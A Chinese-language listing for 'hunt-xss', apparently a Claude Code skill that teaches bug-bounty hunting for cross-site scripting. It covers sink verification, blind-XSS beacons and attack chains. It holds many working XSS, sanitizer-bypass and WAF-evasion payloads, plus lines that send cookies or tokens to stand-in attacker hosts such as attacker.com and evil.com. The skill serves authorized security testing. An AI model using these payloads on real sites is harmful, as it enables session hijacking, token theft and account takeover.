mcpField
H
hunt-xss

hunt-xss

github.com/uphiago安全1.3k43 次安装8 周前更新
代码仓库

关于 hunt-xss

hunt-xss 是面向 Web 安全测试人员的跨站脚本漏洞搜寻技能,涵盖反射型、存储型和 DOM 型场景。它强调检查可执行的渲染入口并在浏览器中验证,避免将单纯反射误报为 XSS。

主要功能

  1. 01识别反射型、存储型和 DOM 型输入点
  2. 02检查框架渲染危险入口
  3. 03通过带外回连验证盲 XSS
  4. 04覆盖上传、Markdown 与重定向场景
  5. 05提供浏览器验证和源码检索方法

适用场景

  1. 01审查搜索框和 URL 参数的反射
  2. 02测试管理界面中的存储型 XSS
  3. 03检查 SVG 上传及文档渲染器
  4. 04确认回连后再报告盲 XSS

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-xss

安装后在 Claude Code 中输入/hunt-xss确认已加载。

详细介绍

使用场景

当目标的任何端点会将用户输入反映到 HTML 输出中、由 JavaScript 框架处理,或存储后供日后显示时使用。XSS 是基础的客户端漏洞类别,可用于劫持会话、窃取数据、钓鱼和接管账户。每个表单、搜索框、URL 参数、文件上传和用户可控字段都可能成为攻击目标。价值最高的目标:管理面板、OAuth 登录页面、Markdown/wiki 渲染器、电子邮件模板、文件上传端点(SVG/HTML),以及安全态势较宽松的帮助/文档网站。

⚠️ 严重:存在 ≠ 可利用

反映出 HTML 标签并不意味着 XSS 可利用。 现代框架默认会转义文本。在将某个发现判定为 XSS 之前,必须验证接收点:

框架默认行为仅在以下情况下可能发生 XSS
React/JSX转义所有文本dangerouslySetInnerHTML、refs 上的 innerHTML
Vue转义 {{ }}v-html 指令
Angular转义 {{ }}[innerHTML] 绑定
Svelte转义 { }{@html} 标签
Next.js RSC转义 JSX 文本组件中的 dangerouslySetInnerHTML
纯 HTML/JS不会转义innerHTML、document.write()、eval()

XSS 验证清单:

  1. ✅ 载荷已在响应中反射/存储(存在)
  2. ✅ 载荷出现在可渲染的上下文中(接收点检查)
  3. ✅ 载荷在浏览器中执行(利用证明)

如果第 1 步通过但第 2 步未通过 → 低危:HTML 已存储,但不存在可利用的接收点。仅 React 生态系统就能阻止约 90% 看似存在的 XSS,因为 JSX 会自动转义。

如何检查接收点:

# In JS bundles — search for dangerous rendering patterns
grep -rEn 'dangerouslySetInnerHTML|innerHTML|outerHTML|v-html|\[innerHTML\]|\{@html\}|insertAdjacentHTML|document\.write\(|eval\(' /tmp/target_js/

# If NONE appear near the reflected field → NOT exploitable XSS
# If found → verify the specific field reaches that sink

核心目标

当 XSS 同时具备高权限上下文 + 持久化投递 + 范围升级时,价值很高。最高的赏金通常来自:

  • 管理面板和已认证的仪表板(例如,*/admin、*/settings)——攻击者可劫持具有更高权限的会话、窃取令牌,或进一步接管账户
  • 支付/金融流程(paypal.com、结账页面、货币转换器)——此处的 XSS 可大规模窃取凭据并实施金融欺诈
  • 协作功能中的存储型 XSS(wiki、Markdown 渲染器、问题跟踪器、RDoc、标签)——一个载荷即可感染每位查看者,放大影响
  • SSO/登录页面(例如,paypal.com/signin)——此处的 XSS 危害严重,因为它可以窃取整个平台范围内的身份验证令牌
  • 共享 SaaS 租户界面(*.[SHOPIFY_STORE]、api.collabs.*)——某个租户上下文中的 XSS 可能越过租户边界造成数据泄露
  • 帮助/文档网站(help.shopify.com)——单独来看严重性较低,但通常净化措施较宽松,用户也更容易信任这些网站
  • SVG/文件上传端点——经常同时绕过 CSP 和净化措施

回报最高的资产类型: 主产品域名 > 管理子域名 > API 端点 > 营销/帮助网站


必须取得带外验证,否则不算(盲 XSS/存储型 XSS)

对于盲 XSS 和存储型 XSS,必须通过带外方式确认,要求与盲 SSRF 相同。只有在载荷确实在某处的浏览器中执行时,带外接收器才会触发(例如,管理员查看日志、SOC 分析师打开工单,或电子邮件渲染存储的载荷时)。

以下不算确认
  • ASP.NET 请求验证器拒绝了你的 < 并返回了不同的状态码 → 不是 XSS,这是 WAF 噪声。
  • 你的载荷以 URL 编码或 HTML 编码的形式出现在响应正文中 → 不是 XSS,这是正确的输出编码。
  • 表单的 action 属性包含你的载荷字符串,如 %22onclick%3D… → 不是 XSS,浏览器不会解码 HTML 属性值中的 URL 编码;%22 在 DOM 中仍是字面量 %22。
  • 你的 <script> 标签在响应中显示为 &lt;script&gt; → 不是 XSS,这是转义。
什么算是确认
  • 在载荷被存储/反射/排队后,发往你的唯一 Collaborator 子域名(例如 bxss-err-<random>.<collab>.oastify.com)的请求到达 OOB 监听器。
  • 对于存储型 XSS:管理员查看受影响的资源时,请求可能在数小时或数天后才到达。应在测试初期植入载荷,并保持监听器运行。
  • 触发请求的 User-Agent 是浏览器(Mozilla/Chrome),而不是服务器自身的后端 HTTP 客户端。
植入盲 XSS 信标的位置

任何其值之后可能会在管理界面/日志查看器/电子邮件/报告中显示的字段:

  • 错误消息(?ErrorMessage=<svg onload=fetch('//bxss-<tag>.<collab>/x')>)
  • 身份验证流程的来源参数(?Source=、?ReturnUrl=)
  • 登录表单的用户名字段(管理员可能会查看登录失败的审计日志)
  • User-Agent 标头(某些 SOC 控制台会将 UA 渲染为 HTML)
  • Referer 标头(某些分析仪表板会将 Referer 渲染为 HTML)
  • 注册/联系表单中的电子邮件地址
  • 文件上传文件名

始终按接收点为 Collaborator 子域名添加子标签,以便通过回调识别触发的是哪个字段。

**一次已授权测试的经验:**在 ErrorMessage、Source、Authentication.asmx 用户名字段、User-Agent 标头、Referer 标头和请求路径中植入了 10 个盲 XSS Collaborator 信标。在 10 分钟的轮询窗口内没有收到任何回调。结论:SharePoint SOC 使用的日志/错误查看工具不会渲染 HTML,而且 ASP.NET 请求验证器会在载荷到达存储之前拦截查询字符串中的 <。因此,正确撤回了存储型 XSS 的说法。


攻击面信号

URL 模式:

/admin*
/settings*
/wiki*
/reports*
?utm_source=
?redirect=
?q=
?search=
?callback=
?return_url=
/render*
/preview*
/documentation*

响应标头(防御薄弱的信号):

Content-Type: text/html (without nosniff)
Content-Security-Policy: (absent or using unsafe-inline)
Content-Type: image/svg+xml (CSP often not applied)
X-XSS-Protection: 0

源码中表明存在 DOM XSS 的 JS 模式:

document.write(
innerHTML =
location.hash
location.search
location.href
document.referrer
eval(
setTimeout(string,
setInterval(string,
$.html(
$(location

技术栈信号:

  • 使用 html_safe、raw、translate、Action Text 或 ActionView 清理辅助方法的 Rails 应用
  • GitLab/GitHub Markdown 处理流水线(Banzai、Kramdown、RDoc、Kroki)
  • 允许上传或渲染 SVG 的应用
  • 在允许列表中使用 style 标签的网站
  • Kroki/Mermaid/PlantUML 图表渲染端点
  • 位于需身份验证页面前方的缓存层(缓存投毒攻击向量)

分步狩猎方法

  1. 梳理所有反射点 — 对目标进行爬取,找出用户输入出现在 HTML 输出中的所有位置。优先检查 URL 参数、表单字段、路径段、唯一标记、HTTP 标头(User-Agent、Referer)、文件上传名称/内容,以及在 UI 中呈现的 API 响应字段。

  2. 按类型分类 — 确定每个反射属于反射型(URL 参数 → 响应)、存储型(数据库 → 后续渲染),还是基于 DOM 的类型(JavaScript 读取 URL/存储内容 → DOM 接收点)。每种类型都需要采用不同的投递方式和上下文感知分析。

  3. 探测净化器行为 — 首先发送无害的探测字符串:aaa"bbb'ccc<ddd,以确定哪些字符会被转义。观察输出处于 HTML、属性、JS 还是 URL 上下文。

    **标记纪律:**选择探测字符串时,必须使用唯一的随机字母数字字符串(8 个以上字符,不含英文单词或协议关键字)。不合适的标记:test、marker、evil、attacker、payload、javascript、script。合适的标记:cpmark987abc、x4hd2k9pq、__ZZ_MARKER_<random>_ZZ__。在断言存在反射之前,先在基线(不含标记)响应中搜索该标记——如果它自然出现在页面中(例如,每个页面的帮助链接 href 中都包含 javascript 一词),就会导致误报,你需要换用其他标记。这项简单检查可以避免 80% 的反射误报。

  4. 测试允许列表中的标签组合 — 如果使用了净化器,探测危险的标签组合:<math>+<style>、<svg>+<style>、<iframe srcdoc>、带有表达式的 <style>。

  5. 搜寻 SVG 和文件上传攻击向量 — 上传包含 <script> 标签的 SVG 文件。检查 Content-Type 响应标头。单独测试 CSP 是否适用于 SVG 响应。

  6. 测试 Markdown/文档渲染器 — 在 wiki、README 或文档字段中,尝试:[text](javascript:alert(1))、内联 HTML 注入、Kroki/Mermaid 载荷、RDoc 的 link:javascript: 语法。

  7. 检查重定向参数 — 测试 ?redirect=javascript:alert(1) 和 ?return_url=//evil.com——查找因重定向净化不当而导致的单击式 XSS。

  8. 探测 UTM 和分析参数 — utm_source、utm_medium、utm_campaign 常会在营销页面上未经净化就被反射。

  9. 测试 CSP 绕过机会 — 如果存在 CSP,查找:允许域上的 JSONP 端点、style-src 中的 unsafe-inline、可绕过 script-src 的 SVG、白名单 CDN 上的脚本小工具。

  10. 尝试在个人资料/元数据字段中植入存储型 XSS — 用户名、简介、标签名称、标签颜色、组织名称——这些内容会在许多上下文中渲染,且往往验证较弱。

  11. 检查缓存投毒 — 测试反射型 XSS 载荷是否可能被缓存并提供给其他用户(尤其是在由 CDN 提供服务的页面上),从而将反射型 XSS 转变为等同于存储型 XSS 的漏洞。

  12. 在目标浏览器中验证 — 报告前务必在真实浏览器中确认。许多载荷虽然会在 Burp 中回显,却无法在真实浏览器中执行,原因可能是 CSP、输出编码、框架自动转义、上下文不匹配、WAF 规范化或浏览器 HTML 解析差异。(注意:Chrome 的 XSS Auditor 已在 Chrome 78 / 2019 年 10 月移除,目前没有任何正式发布的浏览器提供该功能——切勿将 PoC 失败归咎于“XSS auditor”。)


载荷与检测模式

基本上下文探测:

aaa"bbb'ccc<ddd>eee`fff

反射型 XSS — URL 参数基线:

?q=<script>alert(document.domain)</script>
?q="><script>alert(1)</script>
?utm_source=<svg onload=alert(1)>
?redirect=javascript:alert(document.domain)

属性上下文:

  • 将 value、name、id、class、title、alt、placeholder 和 label 视为独立上下文。
  • onmouseover 和 onerror 等事件处理程序属性是可执行的接收点,不是安全属性。
  • aaa"bbb'ccc 这样的无害 canary 可用于检查分隔符是否经过编码;仅凭此本身不能判定为 XSS。
" onmouseover="alert(1)
' onmouseover='alert(1)
`onmouseover=alert(1)

缺少转义函数/过滤不完整

  • 只替换一个字符或仅替换首次出现的字符,都不能构成防护。replaceall() 不是 JavaScript API,而 replaceAll() 仍无法提供上下文感知的 XSS 防护。
  • 分别测试每种上下文(HTML 正文、带引号的属性、JavaScript、CSS、URL、DOM 接收点);只处理一种上下文的过滤仍不完整。

基于 SVG(绕过 CSP):

<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

绕过清理器 — math+style 组合:

<math><style><img src=x onerror=alert(1)></style></math>

绕过清理器 — svg+style 组合:

<svg><style><img src=x onerror=alert(1)></style></svg>

Markdown/RDoc javascript: 链接:

[Click me](javascript:alert(document.domain))

Kroki/图表注入:

```kroki
plantuml
@startuml
:<script>alert(1)</script>;
@enduml

**DOM XSS via hash/search:**
```javascript
// In browser console to test sink
location.hash = '#"><img src=x onerror=alert(1)>'
location.href = 'https://target.com/page#<script>alert(1)</script>'

源代码审查的 Grep 模式:

# Find dangerous sinks in JS
grep -rn "innerHTML\|document\.write\|eval(\|setTimeout(\|location\.hash\|location\.search" --include="*.js"

# Find unsafe Rails helpers
grep -rn "html_safe\|raw(\|sanitize\|translate" --include="*.erb" --include="*.rb"

# Find reflected params in responses
grep -i "utm_source\|utm_medium\|redirect\|return_url\|callback\|next" --include="*.html" -r

使用 Curl 检测反射:

curl --max-time 30 --connect-timeout 10 -sk "https://target.com/search?q=XSSCANARY" | grep -i "XSSCANARY"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?utm_source=XSSCANARY" | grep -i "XSSCANARY"

缓存投毒测试:

# Send payload then fetch with clean session to see if cached
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?param=<script>alert(1)</script>" -H "X-Forwarded-Host: evil.com"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page" | grep -i "evil.com"

常见根本原因

  1. 在 Rails 中信任 html_safe — 开发者在部分清理后将字符串标记为安全,或在未经彻底清理的用户提供数据上调用 .html_safe。

  2. 允许危险标签组合的白名单清理器 — 同时允许 style 与 math 或 svg,即使单个标签看似无害,也会带来 mXSS(变异 XSS)风险。

  3. 第三方渲染流水线 — Markdown 到 HTML 的流水线(Banzai、Kramdown、Kroki)会在图表/渲染引擎未进行沙箱隔离且输出未再次清理时引入 XSS。

  4. 反射 URL 参数时未进行编码 — UTM 参数、重定向 URL 和搜索词未经正确的 HTML 编码,便被反射到页面 HTML 或 JS 中;尤其是在被视为安全等级较低的营销/帮助页面上。

  5. 将 SVG 视为非脚本内容 — 开发者对 HTML 响应应用 CSP,却忘记 image/svg+xml 响应也能执行 JavaScript,而且通常不受同一 CSP 标头保护。

  6. 清理器补丁不完整 — 经 CVE 修复的清理器仍可被细微变化绕过(例如,CVE-2022-32209 的不完整修复表明清理器逻辑很难做到正确,进而产生绕过链)。

  7. 未在 href/src 中屏蔽 javascript: 协议 — 链接渲染器(RDoc、Markdown)未能阻止 href 属性中的 javascript: URL,而是将其视为有效的外部链接。

  8. 缓存层存储经过身份验证的用户输入 — CDN 或反向代理缓存包含用户可控 XSS 载荷的响应,并将其提供给后续未通过身份验证的用户。

  9. 文件上传未强制校验 Content-Type — 接受 SVG 或 HTML 文件,却未强制设置 Content-Disposition: attachment,也未覆盖 Content-Type。

  10. 翻译辅助函数 XSS — Rails 的 translate/t() 辅助函数会将翻译字符串标记为 HTML 安全,并插入用户输入,从而可通过区域设置键实现注入。


绕过技术

CSP 绕过:

  • 上传 SVG 可绕过 script-src,因为 image/svg+xml 响应可能不会继承页面的 CSP
  • 在白名单域名(*.googleapis.com、*.cloudflare.com)上查找 JSONP 端点
  • 利用 <base> 标签注入重定向脚本源
  • 利用 style-src 中的 unsafe-eval 或 unsafe-inline 执行基于 CSS 的攻击
  • 利用 <link rel=preload> 或 <meta http-equiv> 小工具绕过严格策略

清理器绕过:

  • mXSS(变异型 XSS): 注入在清理器解析时安全、但在浏览器重新解析时会发生变异的 HTML(例如,<math><style><img onerror=...>)
  • 标签组合攻击: <svg> + <style> 或 <math> + <style> 会造成解析歧义
  • 属性引号变体: 不带引号的 onmouseover=alert(1)、反引号分隔符
  • HTML 实体编码: 在 href 值中使用 &#106;avascript: 或 &#x6A;avascript:
  • 协议变体: javascript:、vbscript:、data:text/html

过滤器规避:


<ScRiPt>alert(1)</ScRiPt>

<scr\x00ipt>alert(1)</scr\x00ipt>

<svg/onload=alert(1)>

<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>

WAF 绕过:

// Obfuscated payloads
<svg onload=eval(atob('YWxlcnQoMSk='))>
// String splitting
<script>ale\u0072t(1)</script>
// HTML5 event handlers that WAFs miss
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>

基于重定向的 XSS 绕过:

?next=javascript://%0aalert(1)
?next=javascript&colon;alert(1)
?redirect=//evil.com/%0d%0a%0d%0a<script>alert(1)</script>

XSS 提示与技巧

对载荷返回 400、404 或 500,只能说明输入处理情况,不能证明输入已被清理或存在漏洞。使用唯一且无害的标记重复测试,将状态码、标头和正文与基线进行比较,判断输出上下文,并在报告前确认载荷能在当前浏览器中执行。

第 0 阶段验证

撰写报告前,请回答以下三个问题:

  1. 攻击者现在能做什么? 攻击者必须展示具体操作:在目标域名的受害者浏览器会话中执行 JavaScript、窃取会话 Cookie/令牌、以受害者身份执行操作,或泄露敏感数据。“出现警告框”并不足够——请说明该警告框代表何种访问能力(例如:“我可以读取 document.cookie,其中包含用于所有管理员 API 调用的身份验证令牌”)。

  2. 受害者会失去什么? 受害者必须遭受实际损失:会话控制权(账户接管)、敏感数据(Cookie、CSRF 令牌、个人身份信息)、金钱(未经同意执行金融操作)或信任(通过 DOM 操纵进行凭据钓鱼)。如果受害者是在公共页面上没有会话的未认证用户,请量化其浏览器会暴露什么。

  3. 能否在 10 分钟内从头复现? 你必须提供自包含的 PoC URL 或步骤序列,让任何审核者无需预先设置即可操作。载荷必须能在当前浏览器(最新版 Chrome/Firefox)中触发,且无需特殊配置。如果只能在过时浏览器中运行,或要求受害者安装特定扩展程序,则很可能不会被接受。


真实影响案例

场景 1 — 登录页面通过缓存投毒实现存储型 XSS 攻击者发现,某大型支付平台的登录页面会反射用户可控的输入,并且该页面会被 CDN 层缓存。攻击者发送特制请求污染缓存,将反射型 XSS 转变为效果等同于存储型 XSS 的攻击,每位访问登录页面的用户都会触发该攻击。影响:大规模收集凭据——每位访问登录页面的用户,其凭据都会被窃取。由于绕过了 CSP,修复需要同时修改代码并清除缓存。

场景 2 — Wiki 中的图表渲染导致存储型 XSS 某开发者平台的 Wiki 功能集成了第三方图表渲染服务(Kroki)。攻击者构造恶意图表负载,渲染后便会在任何查看 Wiki 页面的用户上下文中执行任意 JavaScript。由于 Wiki 由团队成员共享,其中包括项目所有者和管理员,因此该负载可以在不被察觉的情况下窃取 OAuth 令牌,并代表每位查看者执行管理操作——仅凭一个存储型负载,就能接管整个组织的账户。

场景 3 — 通过标签颜色字段绕过净化器并绕过 CSP 某项目管理平台修复了标签颜色字段中的 XSS 漏洞,但修复并不完整。一位研究人员发现,将 style 标签允许列表与特定标签嵌套方式(svg>style)结合后,净化器的输出会在浏览器解析时发生变化,从而执行注入的 JavaScript。由于注入发生在允许列表中的内联样式上下文中,该负载还绕过了平台的内容安全策略。影响:任何拥有创建标签权限的用户(通常包括所有项目成员)都可以注入持久型 XSS,在每位项目访问者浏览时触发,从而在同一项目命名空间内窃取其他用户的会话。


攻击链与组合(资深漏洞挖掘)

在成熟的漏洞赏金项目中,单独报告 XSS 通常只能获得低至中等等级的奖励。真正高额的奖励往往来自攻击链:将 JS 执行转化为账户接管、大规模受害者影响、绕过 CSP 或窃取令牌。组合利用的关键在于:“我的 XSS 执行后还能解锁什么?”答案总是超出 alert(1)。

攻击链 1 — 反射型 XSS + 缓存投毒 → CDN 规模的持久存储型 XSS(Kettle 级别)
  • A. 找出一个反射型 XSS 漏洞:易受攻击的输入会进入响应正文,且响应可被缓存(Cache-Control: public, max-age=…)。
  • B. 找出一个会影响缓存正文但未纳入缓存键的输入——通常是 X-Forwarded-Host、X-Original-URL、未纳入缓存键的 Cookie,或从缓存键中剔除但会反射到正文中的参数。
  • C. 通过未纳入缓存键的输入发送一条包含 XSS 负载的请求。缓存会存储被污染的响应。此后每位访问该 CDN 边缘节点的用户,在整个 TTL 期间都会收到该响应。
  • 影响: 原本仅影响攻击者自身的反射型 XSS 会转变为持久型存储型 XSS,影响受影响地区内的每位访问者,直至缓存过期。无需与每位受害者单独交互。
  • 实际案例: Glassdoor 通过缓存投毒将反射型 XSS 转变为存储型 XSS,H1 #1424094(2021-2022);Kettle 的“实用 Web 缓存投毒”研究。交叉引用 hunt-cache-poison 已披露报告引用 #4。
Chain 2 — Self-XSS + CSRF 触发 → 有效存储型 XSS → ATO
  • A. 确认个人资料字段(bio、display_name、signature)存在 Self-XSS —— 只有同一位已登录用户查看自己的个人资料时,载荷才会执行。
  • B. 找到一个存在 CSRF 漏洞、可修改该字段的端点(没有防 CSRF 令牌,或可通过 text/plain enctype 绕过)。
  • C. 构造攻击者托管的页面,提交 CSRF 表单,将 bio 设为 XSS 载荷。受害者访问攻击者页面 → 触发 CSRF → 更新受害者的个人资料 → 受害者下次访问自己的个人资料时,攻击者的 JS 就会执行。
  • 影响: 原本“没什么实际危害”的 Self-XSS 会变成 ATO。载荷在受害者的已认证会话中运行 —— 提取 Cookie、通过 XHR 强制更改邮箱、重置密码 → 完全接管账户。
  • 真实案例形式: 2019-2023 年,多个社交平台披露了 H1 漏洞。交叉参考 hunt-csrf 第 7 步(基于表单的个人资料修改 CSRF)。
Chain 3 — /signin 或 /oauth 回调处的 DOM XSS → 捕获 Fragment Token → ATO
  • A. 在 /signin、/oauth/callback 或 /auth/return 页面中查找 DOM XSS —— 通常是未经转义就将 document.location.hash 解析到 DOM 中。
  • B. OAuth 隐式流程回调经常会将令牌放在 URL 片段中(#access_token=...)。片段不会发送到服务器,只有浏览器能看到。
  • C. XSS 载荷读取 document.location.hash,对其进行 Base64 编码,然后通过 Image() 外带到攻击者域名。攻击者现在就持有 OAuth 访问令牌。
  • 影响: 跨平台 ATO。访问令牌通常会授予 Facebook/Google/Microsoft 用户数据的 API 范围;某些实现会直接将该令牌用作会话。
  • 真实案例形式: Detectify 的“Dirty Dancing”多厂商 OAuth 令牌泄漏(F. Rosén,2022);Zoom OAuth 链式 ATO,奖金 $15,000(H1 / Harel Security,2024)。交叉参考 hunt-oauth 已披露报告引用 #19 和 #20。
Chain 4 — SVG 上传 XSS + CSP 绕过 → 在受信任源上执行 JS → 窃取 Cookie/令牌
  • A. 找出接受 image/svg+xml 的文件上传功能。SVG 文件属于 XML,可以包含 <script> 标签 —— 许多清理器会处理 PNG/JPG,却原样放行 SVG。
  • B. CSP 通常适用于 HTML 响应,但不适用于 image/svg+xml 响应。SVG 会在提供它的源的上下文中执行 JS。
  • C. 如果 SVG 由同源提供(例如上传到 target.com/uploads/<sha>.svg,这是常见情况),执行的 JS 就能完全访问会话 Cookie,并调用任何同源 API。
  • 影响: 无需借助任何反射型/存储型内容途径,即可在受信任源上实现存储型 XSS —— 完全绕过 CSP;获取会话 Cookie、调用密码修改端点、ATO。
  • 真实案例形式: 多个 SaaS 上传器均有披露案例;交叉参考 hunt-file-upload 中的 SVG 部分,以及 hunt-xxe 已披露报告引用 #3 和 #4(Zivver/Lab45 SVG 上传链)。
Chain 5 — postMessage XSS + Origin 检查绕过 → 跨源外带令牌 → ATO
  • A. 找出一个 window.addEventListener('message', handler),其中的 handler 不检查 event.origin(或使用 indexOf/endsWith 检查,但对 target.com.attacker.com 无效)。
  • B. 攻击者页面在弹出窗口或 iframe 中打开 target.com。页面加载后,发送一条 postMessage 载荷,供处理程序 eval、作为 XSS 处理,或用于提取 document.cookie。
  • C. 处理程序在 target.com 的上下文中执行;随后通过 event.source.postMessage(stolenData, '*') 将响应 postMessage 回攻击者页面。
  • 影响: 无需触发 CSP 违规即可实现跨源 JS 执行和数据外带 —— postMessage 是合法的跨源通道,CSP 不会对其进行限制。窃取令牌 / 劫持会话。
  • 真实案例形式: Detectify 的“Dirty Dancing”多厂商 postMessage gadget(2022);Zoom OAuth + postMessage 链(2024)。交叉参考 hunt-oauth 已披露报告引用 #19、#20。
链 6 — Markdown/Wiki XSS + 特权查看者 → 跨权限存储型 XSS
  • A. 协作内容字段中的存储型 XSS(Wiki 页面、问题评论、客户工单、支持回复)——由于对 <style>、<math>、<svg> 的允许列表或属性过滤不充分,载荷在 Markdown 渲染后仍然存在。
  • B. 特权用户(管理员、拥有提升权限的支持 Agent、项目维护者)查看协作内容。
  • C. 特权查看者的会话在其已认证上下文中执行载荷——向仅限管理员访问的端点发送 XHR、提升攻击者的角色、从仅限管理员访问的面板窃取机密。
  • 影响: 攻击者通过存储型 XSS 从低权限用户提升为管理员——攻击者借特权用户之手提升自己的权限。
  • 典型案例: GitLab/Jira/Confluence Markdown XSS 导致管理员权限提升这一类漏洞;常见的赏金定级为高危(相较于单独的存储型 XSS,因权限提升而上调严重性)。
操作层面的模式

确认 A 处存在 XSS 后,立即询问:这段 JS 现在可以访问哪些状态变更端点或令牌存储?载荷在哪里运行,谁会看到它? 这类攻击链的赏金是单独 XSS 的 5–20 倍。提交前的规范门槛:如果没有证明最终影响(ATO/令牌窃取/权限提升),不要将 XSS 报告为“严重”;否则应报告为中危。

交叉参考:

  • hunt-cache-poison — 链 1
  • hunt-csrf — 链 2
  • hunt-oauth — 链 3、5
  • hunt-file-upload / hunt-xxe — 链 4
  • hunt-ato — 链 2、3、4、5 的最终影响

验证

运行此自测以确认已准备好开展 XSS 排查:

  1. 技能完整性 — 确认技能文件可读且格式正确:

    grep -q "name: hunt-xss" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. 类别检查 — 确认技能具有类别:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 陷阱部分 — 确认已记录常见陷阱:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

全部 3 项测试均通过,即可确认技能结构正确,可以使用。


常见陷阱

  • Self-XSS — 仅影响攻击者自身会话的 XSS 属于信息性问题。需要存储型 XSS 或影响其他用户的反射型 XSS。
  • 无法绕过 HttpOnly 的 XSS — 如果会话 Cookie 设置了 HttpOnly,XSS 就无法窃取它。需要通过其他方式证明影响(窃取 CSRF 令牌、键盘记录、修改页面)。
  • 没有可利用接收器的 DOM XSS — location.hash 到达 innerHTML 属于可利用情况。location.hash 到达 console.log 则不可利用。
  • 没有 XSS 的 CSP 绕过 — 如果没有可运行的 XSS 来利用绕过技术,那么发现 CSP 绕过技术并不构成漏洞。请区分两者。
  • MIME 类型混淆 — 将 HTML 作为 image/png 上传后却以 HTML 形式呈现,属于 MIME 混淆,而不是传统 XSS。它可能会被 X-Content-Type-Options 阻止。

相关技能与链式利用

  • hunt-cache-poison — 当易受攻击的参数未纳入缓存键时,反射型 XSS 在 CDN 规模下会变得等同于存储型 XSS。链式利用原语:X-Forwarded-Host: attacker.com 污染缓存响应,使其中的 <script src=...> 指向 attacker.com → 每个 CDN 边缘节点的访客都会执行攻击者的 JS,无需与任何受害者进行单独交互。
  • hunt-csrf — 源站上的 XSS 可自动绕过 SameSite=Lax 和针对状态变更端点的同源检查。链式利用原语:个人资料简介中存在存储型 XSS → 执行 fetch(/settings/email, {method:'POST', body:'email=attacker@evil'}),携带受害者的 Cookie 和源站信息 → 悄无声息地接管邮箱 → 重置密码 → 完全接管账户(ATO),受害者甚至无需离开页面。
  • hunt-http-smuggling — 即使端点会清理自身输入,请求走私也能将 XSS 载荷送入下一个受害者请求的响应队列。链式利用原语:走私一个请求,其响应(携带攻击者的 HTML)会作为下一位合法用户的 GET / 响应正文 → 每位访客都会遭遇反射型 XSS,且其地址栏中看不到任何 URL 参数。
  • security-arsenal — 手工编写载荷之前,先查阅 XSS 载荷库(SVG+style、math+style mXSS、CSP 绕过 JSONP gadget、WAF 漏过的 HTML5 事件处理器);也可查看始终会被拒绝的清单,确认自行 XSS / 仅触发 alert 的 PoC 不可提交。
  • triage-validation — 对仅在攻击者自身会话中触发的存储型 XSS 宣称其为严重级别(Critical)之前,或对响应正文中以 HTML 编码形式(&lt;)出现 Canary 的反射型 XSS 宣称其为严重级别之前,先运行 Pre-Severity Gate——这是最常见的两种被降级为 N/A 的陷阱。
阶段 X — CSP 绕过与框架 Sink

通过注入导入映射绕过 CSP:<script type="importmap">{"imports":{"app":"https://attacker.com/evil.js"}}</script> 通过 CSS 外泄绕过 Trusted Types:<style>@import url('https://attacker.com/?'+document.cookie);</style> 框架 Sink:React dangerouslySetInnerHTML、Vue v-html、Angular [innerHTML]、Svelte {@html}

评论

支持 Markdown